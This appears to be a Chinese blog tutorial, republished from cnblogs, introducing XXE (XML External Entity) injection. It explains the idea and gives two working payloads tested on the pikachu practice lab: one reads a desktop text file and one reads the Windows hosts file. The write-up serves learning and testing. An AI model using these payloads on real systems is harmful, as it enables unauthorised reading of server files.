WEB安全——初识XXE漏洞

0X00 漏洞介绍:

  XXE全称(XML External Entity)即XML外部实体注入,漏洞是对非安全的外部实体数据进行处理时引发的安全问题。

  XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定于数据类型,是一种允许用户对自己的标记语言进行定于的源语言。XML文档结构包括XML声明,DTD文档类型定义,文档元素。

0X01 漏洞原理:

  DTD里声明XML外部实体<!ENTITY 实体名称 SYSTEM “URL” >,url内容为一些敏感的本地文件路径或攻击链接或localhost:端口。

0X02 实验环境:

pikachu(漏洞练习平台)

nginx 1.15.11

php 5.2.17

libXML 2.7.8

0X03 实验效果:

输入‘hello world’被当做XML命令执行了,初步判断存在xxe漏洞,如下图:

在桌面新建1.txt,写入内容,如下图:

构造payload进行测试:

payload1:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "file:///C:/Users/Administrator/Desktop/1.txt">
]>
<name>&xxe;</name>

这一段代码,其中xxe就是外部实体,我们可以通过这个参数来读取file:///C:/Users/Administrator/Desktop/1.txt的内容,因为我们web服务器在解析xml文档的过程中,实体xxe的值会直接被替换成file:///C:/Users/Administrator/Desktop/1.txt。关键字'SYSTEM'会告诉XML解析器,'xxe'的实体值将会从后面的URL获取,也就是我们所替换的file:///C:/Users/Administrator/Desktop/1.txt文件。

提交后,成功读取1.txt内容,如下图:

Payload2:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "C:/Windows/System32/drivers/etc/hosts">
]>
<name>&xxe;</name>

提交后成功读取hosts文件,如下图:

 

猜你喜欢

转载自www.cnblogs.com/cowherd/p/13196213.html